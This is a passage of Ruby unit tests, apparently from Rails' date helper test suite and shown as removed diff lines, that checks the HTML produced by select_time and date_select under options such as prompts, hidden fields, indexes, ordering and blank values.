- def test_select_time_should_work_with_date
- assert_nothing_raised { select_time(Date.today) }
- end
-
- def test_select_time_with_default_prompt
- expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
- expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
- expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
- expected << %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_second" name="date[second]">\n)
- expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :prompt => true)
- end
-
- def test_select_time_with_custom_prompt
- expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
- expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
- expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
- expected << %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_second" name="date[second]">\n)
- expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true, :include_seconds => true,
- :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
- end
-
- def test_select_time_with_hidden
- expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
- expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
- expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
- expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
- expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
-
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
- end
-
- def test_date_select
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on")
- end
-
- def test_date_select_without_day
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :order => [ :month, :year ])
- end
-
- def test_date_select_without_day_and_month
- @post = Post.new
- @post.written_on = Date.new(2004, 2, 29)
-
- expected = "<input type=\"hidden\" id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" value=\"2\" />\n"
- expected << "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
-
- expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :order => [ :year ])
- end
-
- def test_date_select_without_day_with_separator
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << "/"
-
- expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :date_separator => '/', :order => [ :month, :year ])
- end
-
- def test_date_select_without_day_and_with_disabled_html_option
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = "<input type=\"hidden\" id=\"post_written_on_3i\" disabled=\"disabled\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
-
- expected << %{<select id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", { :order => [ :month, :year ] }, :disabled => true)
- end
-
- def test_date_select_within_fields_for
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- output_buffer = fields_for :post, @post do |f|
- concat f.date_select(:written_on)
- end
-
- expected = "<select id='post_written_on_1i' name='post[written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
- expected << "<select id='post_written_on_2i' name='post[written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
- expected << "<select id='post_written_on_3i' name='post[written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
-
- assert_dom_equal(expected, output_buffer)
- end
-
- def test_date_select_within_fields_for_with_index
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
- id = 27
-
- output_buffer = fields_for :post, @post, :index => id do |f|
- concat f.date_select(:written_on)
- end
-
- expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
- expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
- expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
-
- assert_dom_equal(expected, output_buffer)
- end
-
- def test_date_select_within_fields_for_with_blank_index
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
- id = nil
-
- output_buffer = fields_for :post, @post, :index => id do |f|
- concat f.date_select(:written_on)
- end
-
- expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
- expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
- expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
-
- assert_dom_equal(expected, output_buffer)
- end
-
- def test_date_select_with_index
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
- id = 456
-
- expected = %{<select id="post_456_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_456_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_456_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :index => id)
- end
-
- def test_date_select_with_auto_index
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
- id = 123
-
- expected = %{<select id="post_123_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_123_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_123_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post[]", "written_on")
- end
-
- def test_date_select_with_different_order
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :order => [:day, :month, :year])
- end
-
- def test_date_select_with_nil
- @post = Post.new
-
- start_year = Time.now.year-5
- end_year = Time.now.year+5
- expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- start_year.upto(end_year) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.month}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on")
- end
-
- def test_date_select_with_nil_and_blank
- @post = Post.new
-
- start_year = Time.now.year-5
- end_year = Time.now.year+5
- expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << "<option value=\"\"></option>\n"
- start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << "<option value=\"\"></option>\n"
- 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- expected << "<option value=\"\"></option>\n"
- 1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :include_blank => true)
- end
-
- def test_date_select_with_nil_and_blank_and_order
- @post = Post.new
-
- start_year = Time.now.year-5
- end_year = Time.now.year+5
-
- expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
- expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << "<option value=\"\"></option>\n"
- start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << "<option value=\"\"></option>\n"
- 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :order=>[:year, :month], :include_blank=>true)
- end
-
- def test_date_select_with_nil_and_blank_and_discard_month
- @post = Post.new
-
- start_year = Time.now.year-5
- end_year = Time.now.year+5
-
- expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << "<option value=\"\"></option>\n"
- start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
- expected << "</select>\n"
- expected << '<input name="post[written_on(2i)]" type="hidden" id="post_written_on_2i" value="1"/>' + "\n"
- expected << '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :discard_month => true, :include_blank=>true)
- end
-
- def test_date_select_with_nil_and_blank_and_discard_year
- @post = Post.new
-
- expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1" />' + "\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
